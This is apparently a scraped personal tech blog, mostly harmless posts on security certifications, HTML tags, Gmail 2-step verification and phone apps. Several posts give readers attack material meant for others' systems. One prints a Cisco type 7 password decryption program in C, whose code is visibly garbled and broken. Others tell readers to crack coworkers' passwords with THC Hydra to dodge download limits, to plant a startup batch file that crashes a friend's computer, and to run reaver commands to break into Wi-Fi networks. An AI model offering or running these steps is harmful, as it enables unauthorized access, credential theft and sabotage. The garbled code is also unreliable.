AppsWindoW

Keep Your Password Safe

2022-04-03T20:25:00.000+05:30

How to become CCISO [Chief Information Security Officer]

2016-12-13T22:54:00.003+05:30

There are different types of system securities like Information Security, Application Security, Security Science.

In this post I'm going to discuss about Information Security. In the next post i'll be discussing about the remaining.

The ultimate target in the Information Security is to become Certified Chief Information Security Officer - CCISO.

To be a CCISO you should start from the basics or fundamentals then intermediate level after completing the intermediate level then we should move forward to Advanced level and then to expert and to specialist level and the final test is CISO, if you are qualified in the final test you will be a Certified Chief Information Security Officer (CCISO)

In the fundamentals you should be a secure computer user (CSCU)

You should be able to defend your system from hacks. Click on the above link you can find the brief description of Certified Secure Computer User.

After being a secure computer user you can learn either FIS(Fundamentals of Information Security), FNS(Fundamentals of Network Security) or FCS(Fundamentals of Computer Forensics)

FNS is followed by CND (Certified Network Defender) which comes under intermediate level after possessing this course you can choose either ECVP or CEH.

In the Advanced Level you can find only CEH course.

If you possess either FIS or FCS then you can do CEH(Certified Ethical Hacker)

Now coming to Specialist Level

ECSA/LPT(Ec-council Certified Security Associate/Licensed Penetration Tester),

DR-VT (EC-Council Certified Disaster Recovery-Virtualization Technology Professional),

ECIH (EC-Council Certified Incident Handler),

CHFI (Computer Hacking Forensic Investigator),

ECES (EC-Council Certified Encryption Specialist)

After possessing CEH you can choose either of the above course which costs separate cost for each course.

But, if your aim is to become CISO then you have to choose either ECSA/LPT or CHFI.

Now coming to Expert Level
CAST 611 - (Advanced Penetration Testing),

CAST 614 - (Advanced Network Defence),

CAST 616 - (Securing Windows Infrastructure),

CAST 618 - (Designing and Implementing Cloud Security)

Either of the above courses can be possessed after possessing ECSA/LPT.
CAST 612 - (Advanced Mobile Hacking & Forensics) is after CHFI

After possessing anyone course in Expert level you will be eligible to write CCISO (Chief Information Security Officer) which you have aimed for.

CUSTOMIZE YOUR WINDOWS

2015-09-22T17:52:00.002+05:30

Session 2 of Windows Hacking

Customize Send To Option
Hide pages in Control Panel
Disable Control Panel
Disable Send To Option
Display a Legal Notice

Customize Send To Option:
Whenever you right click on a file you will have a SEND TO option which shows you the way to send a file through bluetooth or to an external hard disk, We can customize the SEND TO option/menu.

Just browse %APPDATA%\Microsoft\Windows\SendTo in the windows browser, a window will be opened having skype shortcut, fax shortcut, mail, shortcut, mail, etc.,

You just need to edit that window by adding or removing the icons you need or doesn't need.
If you add a new folder in that window new folder will be displayed in the sendto option/menu.
If you just remove any icon it will not be displayed in the sendto option/menu.

Hide Pages in Control Panel:
It is very easy to hide specific settings from the control panel. Sometimes this can be a security feature for your system

Open Windows Registry by typing regedit.exe in search bar of your windows
Scroll to
HKEY_CURRENT_USER
Software
Microsoft
Windows
CurrentVersion
Policies
Explorer
Within Explorer key on right pane create a new DWORD called DisallowCpl and give value as 1.
In the left pane, within explorer, create a new key called DisallowCpl

How to crack Cisco Router password

2015-05-20T18:00:00.001+05:30

Cisco password cracking is really cool, it is an exercise for your grey cells, if the target system has a firewall or any other network security software is installed in the system.

Once if you get the network password file it will be easy for you crack or decrypt the encrypted file by the following C program.

_________________________________________________________________________________

#include
#include

Char xlat[] = {

0x64,0x73,0x66,0x64,0x3b,0x6b,0x66,

0x6f,0x41,0x2c,0x2e,0x69,0x79,0x65,

0x77,0x72,0x6b,0x6c,0x64,0x4a,0x4b,0x44

};

char pw_str1[] = “password 7”;
char pw_str2[] = “enable-password 7”;

char *pname;

cdecrypty(enc_pw,dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;

if(strlen(enc_pw) & 1)
return(-1);

seed = (enc_pw[0] – ‘0’) * 10 + enc_pw[1] – ‘0’;

if (seed > 15 || !isdigit(enc_pw[0]) ||!isdigit(enc_pw[1]))
return(-1);

                for (i=2; i<= strlen(enc_pw); i++) {
                                if(i !=2 && !(i&1)) {
                                                dec_pw[i/2-2] = val ^ xlat[seed++];
                                                val = 0;
                                }

val *=16;

                                if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
                                                val += enc_pw[i] – ‘0’;
                                                continue;
                                }

                                if (enc_pw[i]>=’A’&& enc_pw[i]<=’F’) {
                                                val+= enc_pw[i]- ‘A’ + 10;
                                                continue;
                                }

                                if(strlen(enc_pw) !=i)
                                                return(-1);
                                }

dec_pw[++i/2] = 0;

return(0);

}

                usage()
                {
                                fprintf(stdut, “Usage: %s –p \n, pname);
                                fprintf(stdut, “         %s –p \n, pname);

return(0);

}

                main(argc,argv)
                int argc;
                char **argv;

{

                                FILE *in = stdin, *out = stdout;
                                char line257];
                                char passwd[65];
                                unsigned int i, pw_pos;
                                d[65];
                                unsigned int i, pw_pos;

Pname = argv[0];

                                If(argc>1)
                                {
                                if(argc > 3) {
                                                usage();
                                                exit(1);
                                }

                                If(argv[1][0] == ‘_’)
                                {
                                                switch(argv[1][1]) {
                                                                case’h’;
                                                                usage();
                                                                break;

                                                                Case ‘p’;
                                                                if(cdecrypt(argv[2],passwd)) {
                                                                                fprintf(stderr,”Error.\n”);
                                                                                exit(1);
                                                                }
                                                                fprintf(stdout,”password:%s\n”,passwd);
                                                                break;

                                                                default;
                                                                fprintf(stderr,%s:unknown option.”,pname);
                                                }

return(0);
}

                                if((in = fopen(argv[1],”rt”)) == NULL)
                                                exit(1);
                                if(argc>2)
                                if((out = fopen(argv[2],”wt”)) == NULL)
                                                exit(1);
                                }

                                while(1) {
                                                for(i=0;i<256;i++){
                                                                if((line[1] = fgetc(in)) == EOF) {
                                                                                if(i)
                                                                                                break;

                                                                                fclose(in);
                                                                                fclose(out);
                                                                                return(0);
                                                                }
                                                                if(line[i] ==’\r’)
                                                                                i--;

                                                                if(line[i] ==’\r’)
                                                                                break;
                                                                }
                                                                pw_pos = 0;
                                                                line[1] = 0;

if(!strncmp(line,pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);

if(!strncmp(line,pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);

                                                                if(!pw_pos) {
                                                                                fprintf(stdout, “%s\n”, line);
                                                                                continue;
                                                                }

if(cdecrypt(&line[pw_pos],passwd)) {
                                                                fprintf(stderr, “Error.\”);
                                                                exit(1);
                                                }
                                                else {
                                                                if(pw_pos == strlen(pw_str1))
                                                                                fprintf(out, “%s”,pw_str1);
                                                                else
                                                                                fprintf(out, “%s”,pw_str2);

`fprintf(out, “%s\n”,passwd);

}

Note:

The above program works only on Linux Operating System/Platform.
In Windows you have to find some “Brute Force Password Cracker”.

PHASES OF HACKING

2015-05-07T11:34:00.000+05:30

There are five phases in Hacking they are:

To view this page click on this link

DIFFERENT TYPES OF HACKERS

2015-05-06T15:40:00.000+05:30

Basically Hackers are of 8 types:
They are:

White Hats
Black Hats
Gray Hats
Script Kiddies
Suicide Hackers
Spy Hackers
Cyber Terrorists
State Sponsored Hackers

Who is a Hacker?

An Intelligent person/individual with excellent computer skills, with the ability to create and explore into the computer's software and hardware.
For some hackers, hacking is a hobby to see how many computers or networks they can compromise
Their intention is to either gain knowledge or to poke around to do illegal things.
Some do hacking with malicious intent behind their escapades, like stealing business data, Credit card information, Social Security Numbers, email passwords etc.

White Hats:

Individuals professing hacker skills and using them for defensive purposes and are known as security analysts. White Hats are also known as Ethical Hackers

Black Hats:

An individual with extraordinary computer skills, restoring to malicious or destructive activities and are known as crackers.

Gray Hats:

An individual who work both offensively and defensively at various times like both white hats an black hats based upon the situation he is in.

Script Kiddies:

An unskilled hacker who compromises system by running scripts, tools and software developed by real hackers.

Suicide Hackers:

An individual who aims to bring official infrastructure for a cause and are not worried about facing jail terms or any other kind of punishment.

Spy Hackers:

An individual who is employed by the organization/company to penetrate and gain trade secrets of the competitor.

Cyber Terrorists:

Individuals with wide range of skills, motivated by religious or political beliefs to create fear by large scale disruption of computer networks.

State Sponsored Hackers:

An individual employed by the government to penetrate and gain top secrets information and to damage information system of other governments.

Difference between HACKER & ETHICAL HACKER

2015-05-06T15:36:00.002+05:30

Hacking

Hacking refers to exploiting system vulnerabilities and compromising system security protocols to gain unauthorized or inappropriate access to the system resources.

It involves modifying system and application features to achieve a goal outside of the creator's original purpose.

Ethical Hacking

Ethical Hacking involves hacking tools, tricks and techniques to identify vulnerabilities so as to ensure system security

It focuses on simulating techniques used by attacker to verify the existence of exploitable vulnerabilities of the system security

ETHICAL HACKERS ARE IN DEMAND

2015-05-06T13:23:00.002+05:30

In the digital world where all the important data from banking and financial information to e-governance is electronically transmitted and most social interactions are happening in cyber world, Cyber crime has become a threat to national security.

Recent incidents in India reinforce the requirement for skilled information security (IS) professionals to protect and take measures against cyber crimes and to ensure the safety of our national assets.

In a recent article titled "10 best IT jobs right now" published in Net-work World Asia, the job of an IS Professional/Ethical Hacker appeared as the no.1 job.

"Presently the cyber security scenario will not change for a couple of years as there is a dearth of quality professional," said Amiya Kumar Mishra, founder & director, Soft Skill Solution & Cyber Crime Board of Investigators.

One can pursue International Certifications like

CEH, ECSA, LPT from EC-Council,

CISA, CISM from ISACA,

CSSP, SSCP, CSSLP from ISC2,

GSEC, GCIH from SANS.

Cyber forensic professionals are very much in demand and to start a career option one can pursue CHFI course from EC-Council.

PASSWORD RETRIEVAL SOFTWARE

2015-05-04T20:00:00.000+05:30

Some companies implement a download restriction on a system based on their respective user accounts instead of MAC address.

They will keep a track of amount of data each user account has downloaded and will block a particular user as soon as they have reached their download limit.

In such a case, spoofing your MAC address will not allow you to bypass the download restriction.

Instead you will have to crack the password of some other user on the network and then use their account to continue to download data from the internet until even their limit is reached!

There is a very cool network password cracking tool called THC Hydra.

It is a parallalized login password cracker that supports various protocols like FTP, HTTP, POP, SQL, ORACLE, Telnet and many others.

THC Hydra can be used to crack the password of some other user on the network within anywhere between a few seconds to a fewer hours (depending upon how strong the password is).

THC Hydra is also known to be one of the fastest network password cracking tools available on the internet.

Once you have cracked some other user account password then you can connect to the network pretending to be that user and continue to access the Internet even after your download limit has reached.

HTML and HTML5 Tags

2015-05-04T16:17:00.000+05:30

HTML stands for Hypertext Markup Language.
The main confusion in HTML is between HTML Elements and HTML Tags. Tags are used in HTML but not the Elements.

HTML Tags are the keywords which are hidden within a webpage, which shows how the webpage should appear such as text format, image size, video etc. Tags have two parts opening and closing part. Opening part looks as <tags> and a closing part look like </tags>

The important HTML Tags are listed below according to the alphabetical order and also according to the usage in HTML and HTML5

HTML includes Version from 1.0 to 4.0 also known as XHTML, which is used only for text and image.

HTML5 is latest version different from others versions, it is in an application development platform. This includes not only text and image but also playing audio and video such as 2d and 3d graphics. It also deals with online and offline access of data.

HTML & HTML5
Tag	Description
<!DOCTYPE>	New Document
<a>	A Hyperlink
<abbr>	The abbreviation or a acronym
<address>	The contact information of author/owner of the document
<area>	The area inside the image
<b>	Bold text
<i>	Italic text
<u>	Underline text
<base>	Specifies the base URL/target for all relative URL’s in the Document
<bdo>	Overrides the current text direction
<black quote>	A section that is quoted from another source
<body>	The body of the Document
<br>	The line break
<button>	A clickable button
<Caption>	A table caption
<cite>	The title of a work
<code>	The piece of the code
<col>	Specifies column properties of each column within a closed group
<dd>	Description/value of a term in description list
<del>	Text has been deleted from the Document
<dfn>	Represents the defining instance of a term
<div>	Section in a Document
<dl>	Description List
<dt>	A term/name in a description list
<em>	Emphasized Text
<fieldset>	Groups related elements in a form
<form>	HTML form for user input
<h1> to <h6>	HTML headings
<head>	Information about the document
<hr>	A thematic change in the content
<html>	A root of an HTML document
<i>	A part of text in an alternate voice or mood
<iframe>	An inline frame
<img>	image
<input>	An input Control
<ins>	A text that has been inserted into a document
<kbd>	Keyboard input
<label>	A label for an <input> element
<legend>	A caption for a <fieldset> element

<li>	list item
<link>	The relationship between a document and an external source
<map>	A client-side image-map
<menu>	A list/menu of commands
<meta>	Metadata about an HTML document
<noscript>	An alternate content for users that do not support client-side scripts
<object>	An embedded object
<ol>	ordered list
<optgroup>	Group of related options in a drop-down list
<option>	option in a drop-down list
<p>	Paragraph
<param>	A parameter for an object
<pre>	Pre-formatted text
<q>	A short quotation
<s>	Text that is no longer correct
<samp>	Sample output from a computer program
<script>	A client-side script
<select>	A drop down list
<small>	Smaller text
<span>	A section in a document
<strong>	Important text
<style>	Style information for a document
<sub>	Sub-scripted text
<sup>	Super-scripted text
<table>	Table
<tbody>	Groups the body content in a table
<td>	A cell in a table
<textarea>	A multi line input control (text area)
<tfoot>	The footer content in the table
<th>	A header cell in the table
<thead>	Groups the header content in the table
<title>	A title for the document
<tr>	A row in a table
<u>	Text that should be stylistically different
<ul>	An unordered list
<var>	A variable

New in HTML5
<article>	An article
<aside>	Content aside from the page content
<audio>	Sound content
<bdi>	Isolates a part of text that might be formatted in different direction from other text outside of it
<canvas>	Used to draw graphics, via scripting (usually Javascript)
<datalist>	Specifies a list of pre-defined options for input controls
<details>	Additional details that the user can view or hide
<dialog>	A dialog box or window
,embed>	A container for an external (non-HTML) application
<figcaption>	A caption for a <figure> element
<figure>	Specifies self-contained content
<footer>	A footer for a document or section
<header>	A header for a document/section
<keygen>	A key-pair generator field (for forms)
<main>	Specifies the main content of a document
<mark>	Marked/highlighted text
<menuitem>	A command/menu item that the user can invoke from a popup menu
<meter>	A scalar measurement within a known range(a gauge)
<nav>	Navigation links
<output>	The result of the calculation
<progress>	Represents the progress of a task
<rp>	What to show in browsers that do not support ruby annotations
<rt>	An explanation/pronunciation of characters (for Easy Asian typography)
<ruby>	A ruby annotation (for Easy Asian typography)
<section>	A section in a document
<source>	Multiple media resources for media elements (<video> and <audio>
<summary>	A visible heading for a <details> element
<time>	date/time
<track>	Text tracks for media elements (<video> and <audio>)
<video>	video/movie
<wbr>	possible line break

Not Supported in HTML5
<acronym>	acronym
<applet>	An embedded applet
<basefront>	Specifies a default color, size, and font for all text in a document
<big>	Big text
<center>	Centered text
<dir>	Directory list
<font>	Font, color and size for text
<frame>	Window (a frame) in a frameset
<frameset>	Set of frames
<noframes>	Alternate content for users that do not support frames
<strike>	Strikethrough text
<tt>	Teletype text

Note:
"HTML & HTML5" These tags can be used or included in both HTML &HTML5
"New in HTML5" These tags are newly included in HTML5 and are not present in HTML
"Not Supported in HTML5" These tags are not supported in HTML5

SMARTPHONE with UBUNTU

2015-04-12T10:22:00.003+05:30

Ubuntu Edge was a proposed smartphone com Ubuntu with high-end specifications. Edge have been powered with a multi-core processor

Specification

RAM - 4GB

Internal Storage - 128GB

SIM - Micro

Camera

Rear - 8MP
Front - 2MP

Screen - 4.5"

Display - Sapphire Crystal display

Resolutiion - 1280 x 720 HD

Wi-Fi - Dual-band 802.11n

Bluetooth 4

GPS

Sensors - Accelerometer, Gyroscope, Proximity

Compass, Barometer

Speakers - Stereo with HD Audio

Recording - Dual microphone recording & active cancellation

Connectors - 11Pin with MHL and USB OTG

OS - Ubuntu Touch with Android

Dimensions - 64 x 9 x 124 mm

For More Details Visit: http://www.ubuntu.com/phone

TYPES OF ATTACKS ON A SYSTEM

2015-04-05T18:04:00.001+05:30

Attackers exploit vulnerabilities in an information system to gain unauthorized access to the system resources.
The unauthorized access may result in loss, damage, or theft of sensitive information.

TYPES OF ATTACKS

Operating System Attacks

Application Level Attacks

Mis-configuration Attacks

Shrink Wrap Code Attacks

OPERATING SYSTEM ATTACKS:

Gaining Access:

Attackers search for vulnerabilities in an operating system's design, installation or configuration and exploit them to gain access to a network system

OS Vulnerabilities:

Buffer Overflows Vulnerabilities
Bugs
Unpatched operating system

Operating System Attacks:

Exploiting specific protocol implementation
Attacking built-in authentication system
Breaking file-system security
Cracking passwords and encryption mechanics

APPLICATION LEVEL ATTACKS:

Attackers exploit the vulnerabilities in application running on organizations' information system to gain unauthorized access and steal or manipulate data

Poor or nonexistent error checking in applications leads to:

Buffer overflow attacks
Sensitive information disclosure
Cross-site scripting
Session hijacking and man-in-the-middle attacks
Denail-of-service attacks
SQL injection attacks

Other application-level attacks include:

Phishing
Session Hijacking
Man-in-the-middle attack
Parameter/form tampering
Directory traversal attacks

Examples of Application-Level Attacks:

Session Hijacking

Vulnerable code Secure code

<system.web> <system.web>

<forms cookieless="UseUri"> <forms cookieless="UseCookies">

<system.web> <system.web>

</configuration> </configuration>

<forms cookieless="UseUri"> <forms cookieless="UseCookies">

Attacker may exploit session The code can be secured by using

information in the vulnerable UseCookies instead of UseUri

code to perform session hijacking

Denail of Service

Vulnerable code Secure code

Statement stmnt = conn.createstatement (); Statement stmnt;

ResultSet rsltset = stmnt.executeQuery(); try {stmnt = conn.createstatement ();

stmnt.close (); stmnt.executeQuery();}

finally {

If (stmnt! = null) {

try { stmnt.close ();

} catch (SQLException sqlexp) ( )

This code is vulnerable to denail of service This code can be secured by releasing the

attack, as it fails to release connection resources in a finally block

resources

MISCONFIGURATION ATTACKS:

If a system is misconfigured, such as a change is made in the file permission, it can no longer be considered secure
Misconfiguration vulnerabilities affect web servers, application platforms databases, networks, or frameworks that may result in illegal access or possible owning of the system
The administrators are expected to change the configuration of the devices before they deployed in the network. Failure to do this allows the default settings to be used to attack the system
In order to optimize the configuration of the machine, remove any redundant services or software

SHRINK WRAP CODE ATTACKS:

Why reinvent the wheel when you can buy off-the-shelf libraries and code?
When you install an OS or application, it comes with supporting sample scripts to perform various administration tasks
Application developers also use off-the-shelf libraries and code to reduce development time and cost
The problem is not fine tuning or customizing these scripts
Shrink wrap code or default code attack refers to attacks that exploit default configuration and settings of the off-the shelf libraries and code.

MODULES IN ETHICAL HACKING

2015-02-09T11:56:00.001+05:30

MODULES IN ETHICAL HACKING:

Introduction to ETHICAL HACKING
Footprinting and Reconnaissance
Scanning Networks
Enumeration
System Hacking
Trojans and Backdoors
Viruses and Worms
Sniffing
Social Engineering
Denail of Service
Session Hijacking
Hacking Webservers
Hacking Web Applications
SQL Injection
Hacking Wireless Platforms
Hacking Mobile Platforms
Evading IDS, Firewalls and Honeypots
Buffer Overflow
Cryptography
Penetration Testing

Footprinting & Reconniassance:

Footprinting refers to uncovering and collecting information as much as possible, regarding a target network. Using the ping utility, nslookup, web data extractor,HTTract Website copier tools etc.

Scanning Network::

Scanning Network refers to a set of procedures for identifing hosts, ports and services running in a network. Using Advanced IPScanner, Nmap, Nessus tool etc.

Enumeration:

Enumeration is the process of extracting usernames, machine names, network resources, shares and services form a system. Enumeration is conducted in an internet environment. Using SuperScan tool, Solarwinds Toolset.

System Hacking:

System Hacking is the science of testing computers and networks for vulnerabilities and plugins. this can be done using Link Control Protocol, Rainbow crack, LOphtCrack, Steganography using Quick Stego.

Trojans & Backdoors:

A Trojan is a program that contains a malicious or harmful code inside apperently harmless programming or data in such a way that it can get control and cause damage such as ruining a file allocation table as a hard drive.

Viruses and Worms:

A Virus is a self-replicating program that produces its own code by attaching copies of it onto other executable codes. Some Viruses affect computers as soon as their codes are executed: others lie dormant until the predetermined logical circumstance is met.

Sniffing:

A Packet sniffer is a type of program that monitors any bit of information entering or leaving a network. It is a type of plug-and-play wiretap device attached to a computer that eavesdrops on network traffic.

Social Engineering:

Social Engineering is the art of convincing people to reveal confidential information.

Denail of Service:

Denail of Service (DOS) is an attack on a computer or network that prevents legitimate use of its resources.

Session Hijacking:

Session Hijacking refers to the exploitation of a vital computer session, where in an attacker take over a session between two computers.

Hacking Webservers:

A Webserver which can be referred to as the hardware, the computer or the software, is the computer application that helps to deliver content that can be accused through the internet.

Hacking Web Applications:

Hacking web applications refers to carrying out unauthorized access to a website or website details.

SQL Injection:

SQL Injection is a technique often used to attack a website. It is the most common website vulnerability on the internet.

Hacking wireless networks:

Wi-Fi is developed on IEEE 802.11 standards and is widely used in wireless communication. It provides wireless access to application and data access to radio network.

Evading IDS Firewalls and Honeypots;

ANy Intrusion Detection System(IDS) is a device or software application that monitors network and/orn system activities for malicious activities or policy violations and reports to a network to a Management station

Buffer Overflow:

In a buffer overflow; while writing data to a buffer, the buffer's boundary is overrun and adjacent memory is overwritten.

Cryptography:

Cryptography is the study and art of hiding information in human unreadable format.

WINDOWS HACKING 1

2014-10-24T18:40:00.001+05:30

Session 1 of Windows Hacking.
Windows can be hacked by editing the computer registry.
You can Disable

Windows Hotkeys,
Right click on Desktop & Task-bar,
Prevent Certain Applications from Running,
Task Manager,
Prevent access to Certain Drives.

By using the computer registry, you can open the computer registry by typing in run command or in start menu.
Just you need to type regedit.exe in the strat menu or run command, then computer registry will be opened.

Windows Hotkeys:
Windows Hotkeys are ALT+TAB, CTRL+TAB and others, you can disable these commands in the computer registry.

Step1: Open the computer registry.
Step2: Open
--HKEY_LOCAL_MACHINE
--Software
--Microsoft
--Windows
--Current Version
--Policies
--Explorer
In the right pane, create a new DWORD value, you can create a new DWORD, right click on right pane and select DWORD value and set data value to 1 to disable and 0 to enable them.
Exit the windows computer registry and system.

Right Click on Desktop and Task-bar:

Step 1: Open up the computer registry in windows.

Step 2: Goto

--HKEY_LOCAL_MACHINE
--Software
--Microsoft
--Windows
--Current Version
--Policies
--Explorer

In the right pane create two new DWORD's and rename them as

NoViewContextMenu and NoTrayContextMenu set data value as 1 to disable and 0 to enable.

NoViewContextMenu is for Desktop

NoTrayContextMenu is for Task-bar.

Exit the computer registry and restart the system.

Prevent certain applications from running:

Step1: Open the computer registry.

Step2: Go to

--HKEY_CURRENT_USER
--Software
--Microsoft
--Windows
--Current Version
--Policies
--Explorer

In the right pane create a new DWORD and rename it as DisallowRun and set its value to 1 to disable and 0 to enable.

In the left pane , right click on explorer and create a new key called DisallowRun. In the right pane of the key create a new string and name as numbers from 1, 2, 3, and so on.

If you want to block paint, just type as mspaint.exe in the data value of the string entry.

Exit the computer registry and restart the system.

TASK MANAGER:

Step1: Open up the computer registry.

Step2: Go to

--HKEY_CURRENT_USER
--Software
--Microsoft
--Windows
--Current Version
--Policies
--System
In the right pane create a new DWORD and rename it as DisableTaskMgr set its value to 1to disable and 0 to enable.
Exit the computer registry and restart the system.

PREVENT ACCESS TO CERTAIN DRIVES:

Step1: Open up the computer registry.

Step2: Go to

--HKEY_LOCAL_MACHINE
--Software
--Microsoft
--Windows
--Current Version
--Policies
--Explorer
In the right pane create a new DWORD and rename it as NoViewOnDrive, set its data value as 1, 2, 4, 8, 16, 32, 64, 128. 67108863.
A:1, B:2, C:4, D:8, E:16, F:32, G:64, H:128, ALL:67108863.
Exit the computer registry and restart the system.

You need to restart the system for the changes to take place.

CRASH YOUR FRIEND COMPUTER

2014-10-24T11:56:00.001+05:30

Crash your friend computer in 1 minute.

A very simple and easy way to crash your friend computer.
You can also crash his system on start up.

First you have to open notepad and type the following command like

@echo off

start C:\Program Files\Internet Explorer\iexplore.exe

start

start

start

start

start

save this file as start, if you want to save with other name then just type beside the last start desired name and save it.

You need to save the file with extension as .bat

When your friend clicks on the particular file then his/her system crashes by opening many windows of internet explorer. You can also change the location and keep Google chrome, Firefox etc,.

If you want his system to be hanged up on start up. Just a simple way, create a shortcut for the above file and save it on start up folder.

you can open your startup folder by browsing on your C:/ drive like

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Start up

Start >All Programs >right click on start up >open

You have to save this file on start up, then only you can crash your friends system.

Wi-Fi HACKING

2014-10-22T12:24:00.001+05:30

Everyone of us wanted to access a free network available in our city.
Do you wish to know how to access a free network available.
So lets learn the wi-fi hacking.

Note: You can only do wi-fi hacking on your Laptop or Desktop only, you cannot do wi-fi hacking through your mobile.

Tools needed for wi-fi hacking are:
Backtrack or Kali Linux,
laptop or desktop,
D-Link wireless router or a modem.

At first you need to install a Linux, backtrack 5 or a Kali Linux on your PC.
Backtrack 5 and Kali Linux are Linux operating systems.
After installing Linux OS on your PC connect a D-Link wireless router

You can use any wireless router of your wish like a D-Link, Netgear etc,.

You have to connect a wireless modem as the wi-fi and Bluetooth doesn't work in the backtrack and Kali Linux, it works as a Bluetooth device connecting wireless signals to your PC.

Now you have to open terminal in order to do wi-fi hacking.

In the terminal you have to type the following command

"apt-get update" and press enter

"apt-get install reaver" press enter

"iwconfig"" press enter

"airmon-ng start wlan0" press enter

After typing the fourth statement you can find all the wi-fi signals available.

After getting the wi-fi signals you need to stop the scanning of wi-fi signals.

"airmon-ng stop wlan0" press enter

"airodump-ng wlan0" press enter

You need to copy the required mac address of the signal, BSSID is the mac address of the signal.

"reaver -i wlan0 -b <BSSID> - VV" press enter.

"reaver -i wlan0 -b <BSSID> --fail-wait=250" press enter

In the place of <BSSID> you need to paste the mac address.

You can see the WPA and WPA2 are the security implementations, in order to avoid security vulnerabilities.

BSSID : Basic Service Set Identification it is the mac address of the signal.

ESSID : It is the name of the network, if SSID hiding is activated name will not be displayed.

CH : Channel name

BEACONS : Number of Packets sent by AP.

#DATA :Number of Packets that are Captured.

CIPHER : The cipher detected. TKIP is typically used with WPA and CCMP is typically used with WPA2.

AUTH : Authentication Protocol.

By this you can do the Wi-Fi Hacking.

STAY SAFE

2014-07-26T09:00:00.003+05:30

We can mobile phone for our personal safety, Lets learn.

Many of us feel unsafe while travelling alone in a bus or a cab, and wished there could be an automated way to notify your friends and family members when you are in danger or in case of any emergency alert.

StaySafe is an Android and iOS app that allows you to automatically inform an emergency alert to your contacts and send them the latest information of your GPS location. Start the countdown on the app for a certain time if needed extend and don't forget to stop the timer it sends an emergency alert to your emergency contacts.

StaySafe will automatically send an emergency alert.

To use StaySafe, you can download the app to your mobile phone from the Google Play App Store or the iTunes app store. After installing the app on your mobile phone, Enter your name and contact number, so that your emergency alert will be sent to your contacts and know your identity when they are informed that you may be in danger.

Choose a PIN or password for your StaySafe account. After that select the people from your address book whom you want an emergency alert to be informed.

You are now ready to use StaySafe to send an emergency alert to your contacts in case of danger. When you start a journey alone and StaySafe will look for your safety, simply press start countdown button.

You will be asked to enter the duration of the journey, from which the app will start counting down you can also increase the duration of your journey. If you don't cancel the countdown before it ends, StaySafe will send an emergency alert such as your current location to your emergency contact that something is wrong.

You emergency alert will receive an email with a link to w web page that shows your current location and also the entire path you traveled after you started the countdown timer.

For further details and to download please visit: http://www.staysafeapp.com/staysafe-personal/

ACCESS FROM MOBILE PHONE

2014-02-06T20:03:00.003+05:30

Every one of us like to access a computer remotely to view their photographs, videos, files and listen to music in your home computer while you are on move. If you want to show some pictures to your family while you are travelling when the pictures are in your home computer. You can always operate your personal data in your home computer from your mobile phone from anywhere in the world.

Here are your apps named PCREMOTE or POLKAST.

You can share any type of file from your mobile phone or your tablet which are in your home computer with using these apps. There is no need of worry about carrying your files or the required data where ever you go.

To access your computer from your mobile phone or tablet using the pcremote, you need to download the app on your mobile phone and install it. After installing on your mobile phone you will get a link which you need to open it on your computer you want to access it remotely, download and install the app on your computer. Then you need to connect your computer and your device (mobile phone or tablet) using this pcremote app. This app works on both the Android and iOS platforms.

Now for the plokast work properly on your computer, you need to install the terminal server software on your computer which you need to remotely access your data. You need to install the client version on your mobile phone or tablet you travel with. The terminal server software & client version are available for free. You need to install the app on your computer and register an account, and choose the required folders you want to access remotely. Install the app on your mobile and log into your account. When you log into it automatically connects to your computer. The app dashboard will be displayed on the screen of your mobile phone, where you can remotely browse, search, download and stream files from your home computer.

FACEBOOK BACKGROUND CHANGER

2013-12-30T20:57:00.000+05:30

If you are not happy with the website background images that is normally visible on all Facebook accounts.

It is possible for you to change it to something that you prefer.

Install FacebookBackground Changer browser app in your Google chrome browser.

It will add a new icon to the address bar of your browser, which will automatically appear only when you visit Facebook. If you are using Mozilla Firefox, you can use the Stylish browser app to change the website background images in Facebook.

To use Chrome app, click on the Facebook Background Changer icon and you will be able to change the website background images by choosing from its database of images. You can also upload a photo from your own computer. Besides you can also change the colour of the header bar that appears at the top of all Facebook pages.

For Further Details please Visit:

https://chrome.google.com/webstore/detail/facebook-background-chang/emnlfbokmiehpnhgdjlmedakkchfldmj

https://addons.mozilla.org/en-US/firefox/addon/stylish/

ACCOUNT HACK-PROOF

2013-12-30T20:32:00.001+05:30

Have you ever clicked on links received in an email? Have you ever used the same password for all your accounts?

Have you ever used a computer other than your own personal computer to log in to your movies from a dodgy website? If you have done any of this, chances are that, unbeknownst to you, some malicious attacker would have tried to hack into your Gmail account at some point of time.

100% security does not exist. But Gmail allows you to get close. If you want to make it almost impossible for a cybercriminal or malicious attacker to hack into your Gmail account, then you need to enable 2-step verification on it. This unique feature adds an additional layer of security to your Gmail account. As the name suggests, once you enable 2-step verification in your online email account (Gmail), there will be two different security layers protecting your online email account (Gmail) . In the first step, you will need to enter your username and password as you normally would, and then in the second step you need to enter a special Verification code that is sent to your mobile phone via a text message or voice call. Only if the correct information is entered by a user in both the layers of verification is access to the Gmail account provided. This means that the only way a cybercriminal can hack your Gmail account is if he is able to get your password and also steal your mobile phone from you.

To enable 2-step verification in your online email account (Gmail), log in to your online email account(Gmail) and then click on your name in the top right corner of the screen and then on the Account link, to reveal the Accounts settings page for your account.

Click on the security option in the left column of your Account settings page. This will open up the security settings page for your account, which allows you to manage various security options related to your Gmail account. If you notice, by default the 2-step Verification feature on your Gmail account will be switched off. Simply click on the Edit button to enable it.

You need to enter the mobile phone number to which you want to Google to send the verification code. Based on your personal preference, you can choose to receive the verification code either via text message or a voice call. Now click on the Send code button so that Google can send a code to your mobile phone to verify that you have entered a correct mobile phone number.

You can choose to be asked to enter the verification code every time you log into your Gmail account from any computer. You can also choose to get Gmail to trust your current computer, so that you are asked to enter the verification code only whenever someone attempts to log in to your Gmail account from a computer other than your trusted computer.

Now click on the Confirm button to enable the 2-step verification feature on your Gmail account.

The next time, whenever you attempt to log in to your Gmail account from a trusted computer, you will be asked for username and password. However if someone else tries to log into your Gmail account from some other computer, then not only would they be asked for your username and password, but they would also be asked to enter the verification code from your mobile phone.

What happens if you have enabled the 2-step verification feature on your Gmail account and your mobile phone gets stolen or lost? How do you access your online email account (Gmail) from a trusted computer, in which case you will not be asked to enter the verification code from your mobile phone? However, if you are travelling out of the country and get to a trusted computer, how can still access your Gmail account?

